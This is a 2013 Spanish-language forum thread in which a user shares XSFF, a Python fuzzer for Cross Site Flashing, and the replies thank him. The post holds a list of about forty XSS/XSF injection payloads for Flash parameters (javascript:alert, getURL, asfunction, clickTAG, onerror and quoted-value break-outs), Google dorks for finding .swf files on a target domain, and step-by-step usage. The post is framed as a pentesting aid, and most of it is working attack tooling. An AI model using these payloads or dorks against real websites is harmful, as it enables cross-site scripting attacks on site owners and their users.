Underc0de

[In]Seguridad Informática => Bugs y Exploits => Pentesting => Mensaje iniciado por: Dedalo en Agosto 18, 2013, 06:54:37 PM

Título: XSFF ~ Cross Site Flashing Fuzzer
Publicado por: Dedalo en Agosto 18, 2013, 06:54:37 PM
Les vengo a presentar esta t00lsita que hice en python, es un pequeño fuzzer de vectores de ataque de Cross Site Flashing... Debido al Cross Site Flashing entré al HoF de Apple y al de Microsoft por segunda vez en fin una pequeña intro...

A los .swf como a los php se les puede mandar variables al estilo get:

http://test.com/file.swf?var=1337

muchas veces cuando ponen un .swf en una página web le envian estas variables para asignarle urls o colores o cosas asi... un pequeño ejemplo de la web de owasp:

<object width="550" height="400" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,124,0">
<param name="movie" value="somefilename.swf">
<param name="FlashVars" value="var1=val1&var2=val2">
<embed src="somefilename.swf" width="550" height="400" FlashVars="var1=val1&var2=val2">
</embed>
</object>



Ahora yo les voy a mostrar otro ejemplo el básico de JWplayer...

jwplayer("myElement").setup({
  file: "myVideo.mp4",
  skin: "bekle"
});


Como ven dice file: myvideo skin: bekle ponerlo en el código fuente de esa manera es igual que ir a:

jwplayer.swf?file=myVideo.mp4&skin=bekle

entonces como funciona la cosa bien fácil existen códigos vulnerables en los .swf también que permiten ejecución de codigo Script en ellos... pero obviamente la pregunta es:

¿Como veo el código fuente?

Hay herramientas que lo desencriptan pero justamente por eso he hecho el pequeño fuzzer la mayoría de Cross Site Flahing ocurren de la misma manera con las mismas variables o alguien ya encontró la vulnerabilidad y ya hay un exploit predeterminado... asi que les dejo el fuzzer para que lo usen ustedes :)

Como es para usar el fuzzer bien fácil:

primero descárguenlo El código:

#!usr/bin/python

import sys
import webbrowser

END = "\033[0m"
blue = "\033[0;34m"
red = "\033[1;91m"


payloads = ['#javascript:alert(/XSFF/)','#http://seguridadblanca.in','#getURL(javascript:alert(/XSFF/))','#getURL(http://seguridadblanca.in)','#getURL,javascript:alert(/XSFF/)','#getURL,http://seguridadblanca.in','?javascript:alert(/XSFF/)','?http://seguridadblanca.in','?getURL(javascript:alert(/XSFF/))','?getURL(http://seguridadblanca.in)','?getURL,javascript:alert(/XSFF/)','?getURL,http://seguridadblanca.in','?clickTAG=javascript:alert(/XSFF/)','?clickTag=javascript:alert(/XSFF/)','?clickTag=http://seguridadblanca.in','?clickTAG=http://seguridadblanca.in','?url=javascript:alert(/XSFF/)','?url=http://seguridadblanca.in','?uri=javascript:alert(/XSFF/)','?uri=http://seguridadblanca.in','?URL=javascript:alert(/XSFF/)','?URL=http://seguridadblanca.in','?URI=javascript:alert(/XSFF/)','?URI=http://seguridadblanca.in','?baseurl=asfunction:getURL,javascript:alert(1337)//",','?base=javascript:alert(/XSFF/)','?base=http://seguridadblanca.in','?debug=alert(/XSFF/)','?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(/XSFF/);//','?skinName=asfunction:getURL,javascript:alert(1337)//','?onend=javascript:alert(1337)//','?imageURL=javascript:alert(/XSFF/)','?imageURL=" onerror=prompt(/XSFF/)','?callback=javascript:alert(/XSFF/)','?callback=http://seguridadblanca.in','?page=javascript:alert(/XSFF/)','?page=http://seguridadblanca.in','?buyNowUrl=javacript:alert(/XSFF/)','?id=0\%22))}catch(e){alert(1337)}//']


def helpyeah():
print "__ __ __  ___  ___"
print "\ V // _|| __|| __|"
print " ) ( \_ \| _| | _| "
print "/_n_\|__/|_|  |_| \n"
print red + "Hi bro/sis :) Usage is: " + sys.argv[0] + " Option \n \n"
print "Print Options:\n"
print "dorksite - This Option will search for .swf files in the domain"
print "flashsite - Will Fuzz for XSF" + END



def checkoption():

if sys.argv[1].lower() == "dorksite":
dorksite()
elif sys.argv[1].lower() == "flashsite":
xsfyeah()
else:
helpyeah()


def xsfyeah():
uri = raw_input("Input the URL: Ex. http://seguridadblanca.in/vuln.swf\n")
fout = open("xsff.html", "w")
fout.write("<center><h1>Cros Site Flashing Fuzzer</h1> By <a href=\"http://twitter.com/seguridadblanca\">Dedalo</a></center><br />")
for url in payloads:
op = "<a href=\"" + uri + url +"\">" + url + "</a><br />"
fout.write(op)
print blue + "Check xsff.html for clicking fuzz!!"
print "Thanks for using XSFF"
print ""
print "__ __ __  ___  ___"
print "\ V // _|| __|| __|"
print " ) ( \_ \| _| | _| "
print "/_n_\|__/|_|  |_| " + END


def dorksite():

domain = raw_input("Input the domain: Ex. seguridadblanca.in\n")
d1 = "site:" + domain + " filetype:swf"
d2 = "site:" + domain + " inurl:player.swf"
webbrowser.open_new_tab('https://www.google.com.pe/search?q=' + d1)
webbrowser.open_new_tab('https://www.google.com.pe/search?q=' + d2)


if len(sys.argv) < 2:
helpyeah()
else:
checkoption()


Segundo no necesitan tener nada instalado mas que python... ahora...

En su command van a la carpeta donde está el xsff.py y ponen

python xsff.py option

¿Cómo encontrar los vulnerable.swf? suelo hacer esta búsqueda:

site:test.com filetype:swf --> en Google.
site:test.com inurl:player.swf --> en Google.
site:test.com inurl:swfupload.swf --> en Google.

luego pues el .swf digamos encontramos http://test.com/testing/swfupload.swf

vamos a nuestra consola y le damos:

python xsff.py flashsite y luego pegar http://test.com/testing/swfupload.swf


Bueno un PoC que encontré buscando con el Cross Site Flashing Fuzzer:




Sobre todo muchas veces los pentesters no prueban Cross Site Flashing en sus clientes, con el fuzzer los ayudo para que aunque sea descarten esta vulnerabilidad como una posibilidad.

Link de Interés:

https://docs.google.com/document/d/1PGnYYCJL_xv0l9HGzjbFUVrLS7FAtBat1E-8AOY3qho/edit

La demo es con una versión anterior del script ahora he mejorado la herramienta o bueno le he aumentado una pequeña opción pones dorksite y automáticamente busca dorks de .swf para ver si encuentran alguno por google.


Post Original: Click Aquí (http://dedalo.seguridadblanca.in/2013/08/xsff-cross-site-flashing-fuzzer.html)


Saludos,
Dedalo!
Título: Re:XSFF ~ Cross Site Flashing Fuzzer
Publicado por: ANTRAX en Agosto 18, 2013, 06:57:53 PM
Muy buen post dedalo!
muchisimas gracias y gran trabajo!

Saludos!
Título: Re:XSFF ~ Cross Site Flashing Fuzzer
Publicado por: arthusu en Agosto 18, 2013, 07:23:08 PM
Muy buen post bro me gusto mucho salu2
Título: Re:XSFF ~ Cross Site Flashing Fuzzer
Publicado por: jukathaido en Agosto 19, 2013, 12:40:21 PM
uuuuh!!!! curiosamente estaba buscando algo parecido...me has ahorrado tiempo...lo pruebo hoy sin falta!!!! gracias!!!!